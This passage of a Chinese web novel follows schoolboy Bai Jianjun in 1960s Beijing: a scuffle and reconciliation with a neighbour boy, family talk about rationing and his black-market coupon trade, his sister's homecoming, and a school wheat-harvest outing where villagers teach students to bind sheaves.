楼老师临走前，仍不忘对叶菲严肃的说道。 常建国也在楼老师走了之后和白建国打了一声招呼转身就回家了，白建军则看着仍然低头站在原地的叶菲叫道。 “叶菲！你没事吧！” 白建军不说话还好，一说话叶菲直接蹲到地上开始抽泣了起来，白建军一时之间有些不知所措。 “孙贼，敢欺负我菲姐，看我不废了你！” 第13章 缘起 白建军正在教室里尴尬的看着蹲在地上低声啜泣的叶菲，突然一声大喝吸引了白建军的注意。白建军刚刚往声音传来的方向看去，就见一个军绿色的书包冲着自己飞了过来，白建军下意识的就用手拨开了书包。而这时一个穿着蓝色上衣、灰色裤子的男孩已经踩在了八连五排的窗台上，直接一飞脚就冲着白建军飞踹而来。 白建军上身没动，脚下一个滑步就侧身让开飞身而来的男孩，顺势准备给这个袭击自己的男孩一掌，不过想到这是教室，白建军直接抬手，快速的用胳膊架住刚刚踹到椅子的男孩的脖子。 白建军本想制住这个男孩，让他冷静一下，可没想到，这个男孩抓住白建军的右胳膊就要给白建军来个背摔，白建军赶紧用左手按住男孩发力的后腰，右胳膊也不自觉的用力勒紧男孩的脖子。 从刚才的那声大喝开始，叶菲已经抬起头了，可是没想到不到一个呼吸的功夫，杨树茂就被白建军制住了，而且看杨树茂那涨红的脸，明显是被白建军勒的有些呼吸困哪。这时候叶菲才后知后觉的喊道。 “白建军，你快撒开！这是茂弟弟！” 听到叶菲的话，白建军这才松开了杨树茂，并且左手顺势在其后腰上推了一下。白建军到不是什么好心，只是手这么一推是防着这傻小子在自己松手后直接偷袭自己。 杨树茂脑袋已经有些发晕，在让白建军这么一推，脚步踉踉跄跄的就朝着刚刚站起来的叶菲冲了过去，叶菲还想扶住杨树茂，可叶菲那小体格，直接被杨树茂给带的一屁股坐在了地上，而杨树茂也一脑袋磕在了教室后墙板报的下面。 “你自己和他说吧！” 白建军对着叶菲说完这一句，就没理倒在地上的杨树茂和叶菲，从书桌里拿出自己的书包转头就往教室外面走。临走到教室门口的时候，不忘转身对着正在搀扶着起身的两个人说道。 “教室门不用锁，下午六排还要用！” 说完话，白建军直接出了教室往学校外面走去。 教室里，在叶菲关切的眼神下，晕乎乎的杨树茂用了好几分钟才恢复了正常。 “菲姐，是不是刚才那孙贼欺负你了，我这就去叫人去，今天一定要废了他！” 一恢复正常，杨树茂起身咋咋呼呼的就冲着叶菲说道。 “大茂，不是你想的那样！”叶菲赶紧拉住杨树茂的胳膊。“白建军没欺负我，是我们班主任说了我几句，我自己觉得委屈！” “菲姐，你有什么委屈你就跟我说，不用帮那孙贼藏着掖着的！” 杨树茂兀自不信的看着叶菲说道。 “大茂，真不是你想的那样！”叶菲急的眼泪又在眼睛里打转了。“白建军他真没欺负我！” “真的？” “真的！” “菲姐，你放心，我现在练跤呢，谁要是欺负你，你就告诉我，看我怎么收拾他！” 再三确认之后，杨树茂张扬的看着叶菲信誓旦旦的说道。 “大茂，我信！” 在得到叶菲肯定的话后，杨树茂这才捡起自己的书包，然后看着叶菲傻乐了一下。 “菲姐，话说你这个同学胳膊上的劲儿是真挺大的！我这两只手都没拉动他的胳膊。”杨树茂说完摸了摸有些发红的脖子，又摇了摇脑袋。“我感觉他应该会点东西，而且是和我练的摔跤是不一样的路数！” “大茂，你的脑袋还晕么？”叶菲用无辜的眼神看着杨树茂说道。“你姐我也是第一天才认识白建军的，谁知道他这样啊！” “菲姐，我没事啦，咱们回家吧！” 杨树茂把书包往肩膀上一斜挎，又恢复成了一个棒小伙。 见杨树茂没事，叶菲也和杨树茂一起往家走，边走边问杨树茂。 “大茂，你怎么会来我们学校啊！” “我放学半路上遇到我三姐，她说你在学校出板报，我怕你一个人路上再遇到危险，就过来找你了！”杨树茂傻笑着看着叶菲说道。“这不一到你们教室的窗户口，我就看到你蹲在地上哭，那个白建军站在你面前！” “所以你就以为他欺负我啦？” 叶菲甜甜的笑着看着杨树茂说道。 “换谁来都会觉得是他欺负你了！” 杨树茂为自己的冲动找借口解释道。 “是，我茂弟弟都是为了我！”叶菲肯定的对着杨树茂说道。 叶菲带着杨树茂往家快步走去，可是走着走着，叶菲就看到前面有个让她印象深刻的背影。 “大茂，你看前面那个是不是白建军，他怎么也走这条路？” 叶菲像个受惊的兔子一样拉着杨树茂的胳膊，向前方示意道。 “还真是他！”刚刚分开不到10分钟，杨树茂一眼就认出了白建军。 “他不会是要报复我吧！” 叶菲看了一眼白建军的背影，害怕的对着杨树茂说道。 “不会！”杨树茂肯定的说道。 叶菲焦急的看着杨树茂问道。 “大茂，那他怎么走这边啊！” “菲姐，你在后面跟着，我上前面问问他去不就知道了！” 杨树茂对着叶菲说完，挣脱开叶菲的拉扯，直接快步向着白建军追了过去，离着还有一段距离，杨树茂就大声的招呼道。 “白大哥！你等等！” “你在叫我？” 听到有人在后面喊，白建军诧异转过身，见是刚刚差点被自己勒晕了过去的杨树茂，白建军戒备的问道。 “白大哥，刚刚菲姐都跟我说了，都是误会！”杨树茂离着白建军还有三步远的时候，就停了下来。“咱们这也是不打不相识啦！” “你明白了就好！”白建军仍是戒备的看着杨树茂。“还有别的事么？” “白大哥，你这是去九道湾？” 杨树茂自来熟的看着白建军直接问道。 “是的！”白建军想了想点了点头说道。“最近我要在我太奶奶家住一段时间！” “白大哥，你太奶奶姓什么啊，我家可是在九道湾住了很久了，没准我还认识你太奶奶呢！” 杨树茂上前一步看着白建军热情的说道。 “九道湾那座小洋楼东边的李家！” 白建军看了一眼走过来的叶菲，又看着热情的杨树茂说道。 “是李奶奶家啊！” 杨树茂大大咧咧的说道。刚说完，叶菲就拉了一下杨树茂。杨树茂没反应过来，疑惑的看着叶菲。在回头的时候，白建军已经转身往前走了。 “菲姐，他怎么走了？” “你叫李奶奶，他叫太奶奶，你说他为什么走！没直接揍你都是人家有涵养了！” 第14章 九道湾 “建军，今天第一天开学，你怎么这个时候才过来？” 李香秀看着快下午两点才到家的白建军，略带紧张的问道。 “太奶奶，中午我们班主任楼老师让我和其他两名战友一起出板报来的。”白建军看着李香秀笑着说道。“楼老师还让我当了我们排的一名班长呢！” “没事就好！没事就好！”李香秀拍了拍胸口，让紧张的情绪缓解了很多。“饭菜让我在灶上拿温水保温呢，你先吃饭吧！” 白建华现在上中专了一周5天住校，只有周六下午才会回家，平时正阳门那边的家里就剩下白建军自己了。虽然白建军也十四岁了，但是李香秀仍然不放心白建军自己一个人在家，当然主要也是为了看着点白建军。 “建军，鬼市那边的买卖，你现在还在做着？” 李香秀等白建军吃完饭，看着白建军问道。 “太奶奶，那边还在做着呢！最近都是拿各种票换粮食的，其他的东西很少露出来了。”白建军边收拾碗筷边回答道。“除了每周查一下账目，平时我都让朱厚的小舅子出摊，只有遇到特殊的东西，我晚上才会过去一趟。” “唉，还好你姐当初没下乡！” 李香秀感叹了一句。 “太奶奶，您是听说了什么？” 见李香秀这么说，白建军好奇看着李香秀问道。 “知青们现在是到了农村劳动，他们的户口也都跟着迁了过去。”李香秀看着白建军说道。“最开始知青和村里还在一起开伙，但我听说自从知青同村里的粮食关系脱钩单独开伙之后，就出了很多问题，他们的口粮根本不够吃！” “他们的户口不是都到了农村了么，每个人的粮食关系也都会跟过去啊！”白建军有些奇怪的说道。“按说应该不会啊！” “具体原因我也不知道，不过我听九道湾这边的很多家私下里说：以为家里走了一个可以减轻点负担，没想到还得用家里的口粮贴补下乡的孩子！” 李香秀看着白建军将自己听说的消息说了出来。 “太奶奶，我今天晚上回正阳门那边，晚上我去一趟鬼市，看看市面上粮食的行情！” 白建军看着李香秀认真的说道。 “那你注意安全！” 哪怕李香秀知道白建军身手不凡，仍不忘叮嘱了一句。 “太奶奶，您……” “嘭、嘭、嘭！白大哥，你在这儿么？” 白建军刚要安慰李香秀一句，就听到外面的敲门声以及招呼声。 “找你的？” 李香秀疑惑的看着白建军问道。 “听声音耳熟，像是中午遇到的这边一个叫什么茂的孩子！” 白建军点了点头。 “什么……茂，傻茂？杨树茂？”李香秀沉吟了一下。“你怎么和他认识啦？” “太奶奶，我先去开门看看他找我什么事儿！回头我再和您解释！”白建军说完起身就去院里边走边说道。“来啦！” 等白建军打开大门，就见门外不仅站着杨树茂自己，他身边还跟着一男一女两个小孩。 “白大哥，你真在这住啊！” 杨树茂一见开门的是白建军立马热情的说道。 “我也就是中午过来，下午还要回正阳门那边参加学习小组！”白建军看着杨树茂笑了笑说道。“别在门口站着，先进来吧！” “白大哥，我们就不进去了！”杨树茂看着白建军不好意思的说道。“我是来给您道歉的，刚才回来的时候，我真不是要占您便宜！” “就这事啊！”白建军笑着摇了摇头说道。“我也没放在心上！” “白大哥，我三姐是杨树影，和你和菲姐都是同学，你要是在这边住，加入到她们的学习小组，也不用两头跑了！”杨树茂看着白建军建议道。“再说你身手那么好，我还想着跟您学学呢！” “大茂，谢谢你的好意啦！我家那边也都是我们这届的同学，正好我们几个人凑成一个学习小组，再说这边我也就住一段，那边还有别的事！”白建军客气的笑着说道。“我这身手也就一般，跟你这练跤的没法比。等你再大点，力气上来了，我就不成了！” “是这么回事啊！”杨树茂傻乐了一下。“那白大哥，我们就先不打扰你啦！” 杨树茂说完，就带着赵雅静和谢志强离开了，白建军也关上了门返回了屋中。 “建军，大茂那孩子找你有什么事啊！” 李香秀看着回来的白建军直接问道。 “是给我来赔礼道歉的！” 白建军笑了笑说道，然后把今天杨树茂误会自己的事说了一遍。 “我估计是他妈让他来的。大茂这个孩子是个好孩子，不过她那个妈可不是个省油的灯。”李香秀看了看门外，回头对着白建军说道。“另外你和叶菲来往的时候最好留个心眼！” “嗯，太奶奶，我会的！” 白建军主打就一个听劝，毕竟李香秀和这边的家长孩子接触的多，对于各家也比自己了解的清楚。 …… 杨树茂来李香秀家给白建军赔礼道歉，还真就是她妈让她过来的。 杨树茂回家的时候，杨母对于不回家，半道就跑出去的杨树茂有些来气，直接照着脑袋顶轻打了一下，可就这一下，就让杨树茂喊疼了。 “大茂，你又出去跟人打架去啦？” “妈，我没跟人打架，都是误会！” 杨树茂说完一句就把今天中午遇到白建军以及回来的所有事情和杨母坦白了。 “这也算是你这么多年头一次吃亏了！”杨母先是笑了笑看着杨树茂说完，又解释了一下杨树茂的错处。“你后来称呼李奶奶，那确实只是称呼，但是人家称呼太奶奶那是叫的辈分。这两句话放在一起，你就有充人家大辈儿的嫌疑。” “妈，我真没想那么多！” 杨树茂赶紧说道。 “妈知道，但是毕竟是你的话说错了，一会你去给人家赔个不是。” 杨母认真的看着杨树茂说道。 “妈，我吃完饭就过去找白大哥！” 杨树茂赶紧回答道。 看着儿子吃饭的杨母，心里不由得想到了李香秀。 ‘没准这倒是一个接触她们家的契机，说不准还能探出她们家的一些底细！’ …… 另一边的叶家，叶菲的母亲同样听了叶菲对今天发生的事情的描述后，耐心的教导道。 “小菲，李香秀这个老太太不简单。你以后可以和这个白建军多接触一下，但是也不用太刻意。你们俩是同桌，正常来往就好！” 第15章 中专生白建华 “白建军，你怎么上课老打瞌睡啊！”一堂《工业基础知识》课刚刚结束，叶菲就看着白建军好奇的问道。“这都好几天了，你一直都这样，你是晚上没睡好么？” “最近几天天太热，晚上睡不着！” 白建军打了个哈气，边整理课本边说道。 “你总这样，学习可能就落下了！”叶菲小心的看着白建军提议道。“要不你最近去九道湾，我们一起学习？” “过两天天凉快点就好了。另外这都开学一个星期了，今天我姐回家，等下周有时间的时候我们再一起学习！”白建军看着叶菲笑了笑说道。“叶菲，谢谢你！” 虽然白建军没有直接答应，不过叶菲还是露出了一个甜甜的笑容。 白建军和叶菲两个人正说着话，杨树影就过来找叶菲。 “白班长，把你同桌借我一会儿！” 杨树影开玩笑一样的说道。 现在的学生大多都是找自己家附近的同学相处，这就形成一个一个的小圈子，而哪怕是同班同学，不同圈子的两个人也很少会说太多话。自从白建军和杨树茂认识以后，杨树影也敢和白建军主动说话了。 “建军哥！” 五排的窗外，一个声音突然传来，一下子吸引了不少人的注意力。 “燕子，你怎么来了？”白建军看着窗户外的任燕诧异的问道。 “建军哥，我今天要出板报，中午可能会晚一点，刚刚建红说会等我一会儿。”任燕看着白建军说道。“麻烦你放学之后，和夏叔叔说一声！” “行！燕子，我知道了，我回去就先去告诉高阿姨一声！” 白建军痛快的答应道。 等任燕走了以后，杨树影和叶菲都看向了白建军。 “呦，建军哥，这是谁啊！” 杨树影打趣的看着白建军问道，叶菲也微笑着看着白建军说道。 “也不说给我们介绍一下！” “她是一排的任燕，我家隔壁四合院的邻居！”白建军笑着解释了一下。“我们也是一个学习小组的！” “刚刚她说那建红，不会都是你们一个学习小组的吧！”叶菲半开玩笑的看着白建军说道。“怪不得不愿意跟我们一起学习呢，原来你身边有那么多女孩呢，难怪看不上我们！树影，你说是不是！” “可不是么！” 杨树影也起哄着说道。 “两位姑奶奶，你们就放过吧！” 白建军笑着做求饶状说道。 说笑了几句之后，杨树影就和叶菲走了，叶菲临走前还意味深长的看了白建军一眼，不过在白建军看过来之后，叶菲立马转过头和杨树影说笑了起来。 随着上课铃声的响起，课间休息时间也结束了，同学们一个个正襟危坐。五排的班主任楼玉芬也适时的抱着教材走进了五排的教室。 “五排的战士们，上课之前，先和大家说一件重要的事情！下周六，学校会组织大家去郊区参加麦收！”楼玉芬把教材放在讲台上之后，严肃的看着坐在下面的同学们说道。“下课前我会把注意事项写在黑板上，大家都仔细记好！” “现在开始上课！” “起立！” “老师好！” “战士们好！请坐！” …… “大家把这些都记下来，互相也提醒一下，下周末我们早上五点半就要在学校集合，现准备可来不及！” 临近下课，楼玉芬老师直接指着黑板上刚刚写完的“参加麦收劳动的注意事项”说道。 所有五排的学生们都认真的记录着楼玉芬写的注意事项，哪怕白建军听白建华和夏建国他们说过一些参加劳动的场面，白建军同样用心的记录，而且在笔记本上还另加了一条，要准备一些消毒用的碘伏和纱布等用品。 楼老师的这堂课是上午的最后一堂课，大家都写完了之后，就开始陆陆续续的收拾书包准备回家。白建军也同样起身将绿色军挎斜着背在肩头，和叶菲以及排长常建国他们打了声招呼，就快步离开了教室。 白建军一路小跑的跑到了家，不过白建军先去了隔壁四合院告诉夏默一声，夏建红和任燕晚回来的事，这才转身回家生火做饭。李香秀早就把肉和菜买好了，就等着白建军回来做呢。 李香秀也能做，但是味道嘛，只能说能吃，自从白建军自己动手做了一次饭菜之后，白家做饭的任务大多数时候都落到了白建军头上，而且这还是白建华上中专第一次回家，意义自然不同。 白建华所在的中专在燕郊，是在封建王朝末期就建立起来的一所专门培养护士的女子学校。白建军估摸着时间，灶上的红烧肉也炖了有一会儿了，白建华就进了家门。 “建军、太奶奶，我回来啦！” 一进门白建华就冲着里面吆喝上啦。 “姐，你先回屋，菜也好了，肉还得等会儿，马上就好！” 白建军端着菜就从厨房那屋走了出来。 “建华，快进屋！” 李香秀听到白建华的声音也从屋里出来招呼道。 白建华和李香秀都洗完手等着白建军，白建军把菜都端上来之后，自己也洗手擦干净之后，才坐到饭桌前。 “建军，你这一顿可没少下本钱啊！”白建华看着桌上的菜笑着说道。“这又是烧豆角、又是红烧肉的，还有西红柿炒鸡，这以后的日子不过啦？” “建华，这不是你回来了么。”李香秀看着梳着两条辫子的白建华笑着说道。“建军是怕你在学校没有油水，这不是让你好好解解馋么！” “还是我弟弟知道疼我！”白建华看着白建军夸赞道。“你们是不知道，我们学校食堂，五分钱一份素菜，荤菜是一个都没有。” “那你还等什么呢，快吃吧！” 李香秀看着咽口水的白建华，率先夹了一块红烧肉放到了白建华的饭碗里。 “姐，你粮票还够吃么？” 看着动筷开吃的白建华，白建军也开始动筷，边夹菜边问道。 “二十斤……粮……票，还……算够……吧！” “慢点吃，别着急！”李香秀看着满嘴流油的白建华笑着说道。“咽下去再说话，别再呛着喽！” “姐，不够吃你就吱声，全国粮票现在是紧俏品，但是市里的粮票我还能拿出来不少的。” 白建军看着白建华关心的说道。 “建军，那买卖你还在干着呢？” 白建华担心的看着白建军，连手里的筷子都停了下来。 “姐，你放心吧，那边我也只是偶尔才过去。”白建军点了点头，不过还是解释了一句。“现在都是粮食换粮票，粮票换粮食，差价是有点，但是利润不高，有朱厚他们盯着呢。” “建华，你不用担心。建军心里有数！”李香秀也安慰着白建华说道。“先吃饭、先吃饭！再不吃，菜都凉了！” 第16章 麦收 一个星期一转眼就过去了，周六凌晨还不到5点呢，小四合院就显得忙碌了起来。 夏默和田志远要在街道打扫卫生，平时他们两个起来的就比较早，更不要说今天院里的孩子们，除了刚上小学的夏小妹，其他人都要去郊区参加麦收，两人赶紧给孩子们热一口饭，还要准备一些杂面馒头当干粮。 “夏伯伯、田伯伯！” 就在夏默和田志远忙碌的时候，白建军也从外面走了进来。白建军不到5点就从床上爬了起来，用冷水洗了把脸，让自己快速从迷糊的状态中清醒，就到了隔壁四合院。白家现在大多时候就白建军一个人在家，在知道孩子们要参加麦收之后，高兰就让白建军今天一大早到这边跟着吃一口。 这也就是今天情况特殊，平时哪怕白家的孩子和四合院里的孩子是同学、父母辈也曾是战友同事，白建军姐弟从来不主动到这边蹭饭。毕竟大家生活都不容易，你多吃人家一口，人家可能就得挨顿饿。 白建军这么长时间也攒了不少好东西，但是这些东西没有一样是能见光的，哪怕换来的钱还有粮票、肉票、工业票这些票据也留存了不少了，白建军除了在吃上用到一些，其他动都不敢动，白建军奉行的是“先活着，再活好！”，现在招摇过市和找死没什么区别。 偶尔改善一下生活，大家都能理解，但是在粮食都不够吃的时候，还想着能天天大鱼大肉，这样的美事可能只会出现在梦中。杂粮馒头填饱肚子就是现在最大的幸福。 新鲜出炉的大碴子粥、笼屉上热气腾腾的全麦面+玉米面两掺的饼子、一碟咸菜疙瘩，这就是白建军他们的早饭。等白建军他们几个快速的吃完了早饭，临走的时候高兰还让每个孩子再拿上几个菜饼子当作路上的干粮，水壶里也都灌满了加了一点糖和盐的凉白开。迎着朝霞，白建军和夏建国、田源以及夏建红、任燕就到达了学校。 白建军他们所在的中学，今天可以说是全员聚集在大操场上。白建军更是看到了不少熟悉的人影，比如苏萌。升入初中之后，苏萌并没有再进入白建军他们这个学习小组，她所在的排是上午自习、下午上课，和白建军他们的作息时间正相反，所以苏萌也只能在下午上课的班级中找学习小组加入。白建军相信有程建军和韩春明这两个高中生在，照顾苏萌还是没什么问题的。 同学们都以排为单位，整齐的站在了操场上。随着一阵卡车的声音从远处传来，不少初一的学生都向校门口张望，每个人都对这第一次参加麦收活动充满了憧憬，而初二甚至高中的学生，脸上则出奇的平淡。 麦收活动对于这些高年级的学生来说，也不是参加一次两次了，甚至等到明年“三夏”还有更加艰巨的任务呢，所以高年级才表现的这么平静。 在各连各排的班主任带领下，所有的学生们有序的登上了卡车。趁着时间尚早，路上的行人也相对较少，卡车载着学生们直接往郊区方向驶去，等开了能有快半个多小时左右，每到一个岔路口，都会有卡车往不同的村子驶去。 白建军他们所在的卡车也和其他两辆卡车一起从一个岔道下了主干道，又开了能有10多分钟左右，才在一处空场上停了下来。此时空场上早就站了不少人，一个带着灰色帽子，穿一身灰色衣服的中年男人在学生们都下车了之后，才走向了带队的楼玉芬。 “欢迎！欢迎！欢迎老师和战士们来到我们深水村！”灰衣中年男人直接拉住楼玉芬的手热情的说道。“我是深水村革委会主任贾有福！” “贾主任，我是红旗中学的老师楼玉芬！”楼玉芬同样热情的和贾主任握手说道。“我们红旗中学八连一排到六排的全体战士都已集合完毕！您就下达任务吧，我们的战士一定能完成任务！” “战士们，你们有没有信心！” “有！” “大点声！” “有…信…心…！保…证…完…成…任…务…！” “楼老师，战士们士气很足啊！” 贾主任夸赞完八连的所有战士之后，也没有再说什么废话，直接开始和战士们讲起了他们需要负责的工作。 早在上周学校和村里这边就沟通好了，深水村的社员们负责割麦子，八连六个排的战士们则负责将割好的麦子捆绑好，然后集中到一起，等村里的马车过来的时候，还需要将捆好的麦秆搬到车上，拉到现在所在的脱粒场。除此之外，八连的战士们还要负责将掉落在田埂里、路上的麦粒都捡起来，送到脱粒场。 挥舞镰刀是一门技术活，要是不熟悉镰刀的用法使错了力，很容易就会砍到小腿上。学校是组织学生们来劳动的，不是让学生们来玩命的，另外村里也不会让一帮生手来负责割麦子。麦收时节，抢的就是时间，学生们能把这些辅助工作做好，就是帮了村里的大忙了。 具体任务贾主任并没有分配，而是直接带着村里的社员们还有八连的所有战士们一起往地里走去。 对于生长在城市中的初一新生们来说，其之前的人生轨迹除了学校就是家里，偶尔会被父母哥姐带到百货商场，可是这都是在城市之内。而这次参加麦收劳动，从登上卡车的那一刻起，让就大家激动不已。 自从出了城市的边缘，学生们仿佛进入到了另一个世界。光路上看到的一切，都让初一的学生们既陌生又新鲜。 道路两旁高大的行道树笔直的矗立在道路两侧；麦田里金灿灿的麦穗随着微风轻拂，书中所描绘的“风吹麦浪稻花香”真实的出现了，就连路边五颜六色的野花也在争奇斗艳。 书本上黑白的文字，不再那么苍白，而是真真切切的化成五彩斑斓的世界出现在了学生们的眼前。 现在学生们就走在乡间的小路上，就仿佛置身于大自然的画作之中。若不是纪律不允许，有些人都会一头扎进麦田之中，近距离感受大自然的气息。 不过也没走多久，深水村的社员们就走到了一片辽阔的麦田前，学生们一个个都兴奋的恨不得立马投入到劳动之中去。 第17章 打腰子 深水村的社员一到了地头，不用任何人吩咐直接抄起镰刀就开始干活，八连的所有战士们也都迫切的想加入到劳动中去，恨不得现在在前面挥舞着镰刀的就是自己。贾有福主任也看出来了战士们那高涨的劳动热情，不过贾主任还是先让八连的战士们先等等。 跟在贾主任身边的一名深水村的中年妇女并没有参与到割麦的劳动中去，而是在割麦的社员们走出去三米多之后，就开始站到了队伍的中间。 “战士们，这位是我们深水村的妇女主任刘金花同志！”贾主任先向战士们介绍了刘金花，然后继续对着战士们大声的说道。“都说磨刀不误砍柴工，下面，由刘主任为大家介绍并演示一下如何捆麦！” 在一片热烈的掌声中，贾主任退到了一边，将中间的位置让给了刘金花。 “红旗中学八连的战士们，大家好！” 刘金花同样热情的和所有战士们打着招呼，在又一阵掌声之后，刘金花弯腰直接从地上捡起一把刚刚割下来的麦秆。 只见刘金花两只手各拿半把麦秆，然后将两把麦秆的麦穗尾部斜十字交叉。左右固定住两把麦秆的连接处，右手抓住麦秆快速的转动了两圈，然后右手顺势固定住连接处，左手抓住麦秆又绕着麦穗的尾部快速转动两圈。然后左右手用力将两把麦秆捋到一起。 整套动作从分开一把麦秆开始算到将两把麦秆捋到一起，刘金花前后用了不到3秒钟，好多八连的战士都觉得一眨眼的功夫，麦秆就被绑在了一起，就跟变魔术一样。楼玉芬虽说不是第一次带队参加麦收了，但是还是第一次看到打结儿能这么快的。 “八连的战士们，这是打结儿，这样打好了结儿之后，麦秆就不会散开了，之后还要捆麦子，我们这边叫‘打腰子’！”刘金花演示完打结儿之后，向所有的学生们解释道。“打结儿是为了方便后面脱粒，‘打腰子’是为了方便运输。” 刘金花说完之后，又用随身携带的镰刀，聚拢了一大堆麦秆，然后就见刘金花屈膝俯下身子，两手一前一后抓起麦腰儿的两头，向上提起。刘金花一只手向前推，另一只手向后拉，两手交替动作，这样三下五除二，整个麦秆儿堆就被捆得结结实实。 没有经过常年累月的劳动，是不会有这么熟练的手法的。 “战士们，大家都看到了吧！”刘金花捆完麦秆儿，直起身看着所有八连的战士们说道。“看不到也没关系，一会儿我再详细的和大家讲解一下动作要领！楼老师……” 刘金花叫了一声楼玉芬，楼玉芬立马走到刘金花身边。 “战士们，负责捆麦秆的战士们先集合在一起，由刘主任为大家讲解动作要领，其他负责运输的、辅助的战士们先在道边休息片刻。” “大家注意，不要靠近河边，我们这边叫做深水村，虽然道边的小河看着挺浅，但是实际上水很深！” 刘金花也不忘在一旁大声提醒一下八连的战士们注意安全。 随着楼玉芬命令的下达，八连各排的学生们快速的分组、集合，暂时没有任务的运输组和辅助组都向着道路两边铺散开来，毕竟一会负责捆麦秆儿的学生们学会之后，就要追赶前面割麦子的进度，大家都不想自己这一组落后别人。 刘金花待负责捆麦秆儿的学生们集合了之后，让大家围成一个半圆，并让大家都拿起一小捆麦秆儿。从这一步开始，刘金花就一点点的教授大家，一次麦秆儿要拿多少合适，怎么用巧劲将两小捆麦秆儿拧在一起。光是这一个捆麦秆儿，就教了好几遍。 刘金花让同学们自己试试之后，对于纯新手的学生们来说，不是拿少了就是拿多了。拿少了的虽然拧成了，但是这不能当做“打腰子”用的绳子；拿多了的，没有一定的手劲也拧不成，而且用这个“打腰子”费的力气会更大。刘金花每次都是耐心的和同学们讲解其中的要领，这让同学们在几次之后也做的似模似样。 拧麦秆是捆麦秆的前序，若拧麦秆儿还算上是技术活，那“打腰子”就是个力气活了，手劲不大，一把麦秆根本就捆不住。这也是学生们之中，负责捆麦秆儿的女生只有寥寥几人。虽然说新种花提倡男女平等，妇女能顶半边天，但是现在八连的这些女战士们只能算是女孩，在力量上照男孩们还有所欠缺。 前前后后教了能有半个多小时，刘金花在觉得八连的战士们的手法都差不多了之后，就停下了教学。 “八连的战士们，看到你们的进步，我很高兴，也很欣慰。”刘金花热情洋溢的鼓舞着学生们说道。“现在你们已经掌握了拧麦秆儿和‘打腰子’的技巧，接下来你们就要参与到实战中去了。战士们！战斗的号角已经吹响，胜利的曙光就在前方！你们有没有信心！” “有……！有……！有……！” 在三声高呼之下，八连的所有战士们，带着战天斗地的热情，以战斗小组的形式，即刻投入到了麦收的工作之中。 大多数小组都是一个男生搭配两个女生或者一个男生，白建军也是捆麦秆儿学生中的一员，而他这组则配了两名女生也不是别人，正是杨树影和叶菲。 白建军带着杨树影和叶菲来到了自己负责的垄沟的时候，前面那位割麦秆的深水村青年社员已经出去能有100多米了。 “杨树影、叶菲！”白建军看着跟在身边的两个女同学叫道。“你们俩把我捆好的麦秆儿每隔一段距离，就集中在一起，我们要抓紧时间了，不能让村里的社员小瞧了我们，也不能拖我们八连的后腿。” “白建军，你放心吧，我和叶菲一定辅助好你！” 杨树影搂着叶菲的肩膀肯定的对着白建军说道。 “那好！闲言少叙，开干！” 第18章 分组行动 京城郊外的一处一望无际的麦田，若是从空中俯瞰，明显能看出麦田中出现了两条分基线，不过一条分基线正在以肉眼可见的速度向这麦田的最后段推进，而离这条分基线不远的距离，另一条参差不齐的线条紧随其后。 白建军的小组就在这第二条分基线上，而且还是前进的比较快的小组之一，经过3个多小时的奋战，白建军已经离前面割麦子的深水村社员不到20十米了，若不是杨树影和叶菲的体能下降的厉害，说不定白建军此时已经追上了割麦人的脚步。 从正式参加到麦收中开始，所有八连的学生们都充满了热情，都憋着一口气想着追上前面的割麦人。可是这和望山跑死马是一个道理，看着前面的割麦人离自己不远，但是随着时间的推移，气温逐渐升高，虽然还不热，但是干了一个小时之后，八连的学生们头上也开始冒汗。 大家咬牙又坚持了一会，手里的活一直虽然没停下来过，但是八连这些刚刚上初一的学生们就不免露出了疲态，大约又干了半个小时，陆续开始有体力耗尽的女生开始坐在田垄上休息，后来就连前面捆麦秆儿的大多数男生们也坚持不住停下来休息一会儿，而一直不停在干活的除了白建军这个每天都有练功的人，整个八连就剩下五排排长常建国以及二排的一个男生。 和白建军同组的叶菲是最先停下来休息的那一拨，人都是有惰性的，看到叶菲开始休息了，本来还能继续干活的杨树影在又干了一会儿也跟着坐在田垄上休息。她们俩能停下来休息，可白建军却一直没停下来。 “白建军，你也停下来休息一会儿吧！”杨树影看着一直在捆麦秆儿的白建军喊了一声。“不行你先喝口水啊！” 叶菲并没有像杨树影那样招呼白建军，而是拿起白建军的水壶走到了白建军身边，当白建军又捆完一捆麦秆儿之后，就伸手把水壶递给白建军，柔声的说道。 “白建军，你先喝口水吧，太阳都升起来了，看你，都出了不少汗了！” 白建军用脖子上搭着的毛巾擦了擦面上的汗水，这才接过水壶拧开壶盖，咕嘟嘟灌了一大口从家里带来的咸甜凉白开。 “你们俩多休息一会儿吧，我还不累！”白建军抻了抻略有些疲惫的身腰说道。“咱们虽然在连里算是最前面的几组了，但是咱们也不能让村里的社员拉下太远，我们八连一个战斗的集体，咱们早点干完还能帮助更多的同学，我们个人的胜利不算胜利，只有我们八连整体的胜利才是真的胜利。” “白班长说的好！”与白建军小组隔着两个垄的常建国突然大声的说道。“我们八连集体的胜利才是胜利！” “排长！” 白建军冲着常建国打了声招呼，常建国也挥了挥手算是回应，然后继续干着手里的活。 白建军回过头把水壶递给了叶菲之后，就继续开始干活，并且把叶菲和杨树影的活也给干了。又休息了10多分钟的叶菲和杨树影，也咬着牙站起来，继续跟在白建军后面干活。 直到快中午12点的时候，前面割麦子的社员们已经将整垄的麦子都割完了，这才停下了手中的镰刀往回走，他们遇到八连的同学们的时候，也都招呼同学们先停下来，先回去吃口饭休息一会儿。 虽然仍有不服输的同学还想继续往前干一点，但是想法是好的，身体却有些不听使唤，干了一会儿陆续的也就放弃了。不过白建军并没有停下来，这边离着田边还有30多米，再加把劲就全都干完了，下午就可以帮助其他小组干活了。和白建军同样想法的还有常建国和二排的那个男生，又干了有一会儿，三组人终于在田垄的尽头看到了彼此的身影。 二排的两个男生远远的冲着汇合在一起的常建国和白建军这两组挥了挥手，眼力好的白建军明显看到他们脸上露出了意外的神色，不过之后就由喜悦所代替，常建国和白建军两组同样向对方挥手致意。 尽管身体都非常疲惫，但是叶菲、杨树影以及常建国那组的两个女生都开心的又蹦又跳，仿佛一下子又有了使不完的劲。 “白班长，咱们往回走还是就在这里就地休息？” 常建国在和众人庆贺了一阵之后，就看着身边的白建军问道。 “排长，咱们还是回去吧！”白建军看着常建国笑着说道。“我们五排是个集体，如果我们不回去，我怕大家会找过来，那样耽误大家休息就不好了！” “你说的有道理！”常建国点了点头笑着说道。“我们抓紧时间回去吧！” 深一脚浅一脚的走在田垄之中，两个小组走了快20分钟才回到了地头，这时候深水村的社员们已经担着冒着热气的水桶走了过来。这里都是深水村的社员们自发给八连的战士们做的鸡蛋汤。 